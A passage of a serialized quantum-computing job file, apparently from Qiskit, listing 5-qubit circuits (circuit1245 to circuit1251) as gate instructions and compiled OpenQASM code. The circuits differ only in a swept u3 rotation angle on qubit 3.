[]}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1245', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1247', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1249', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1251', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.3000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 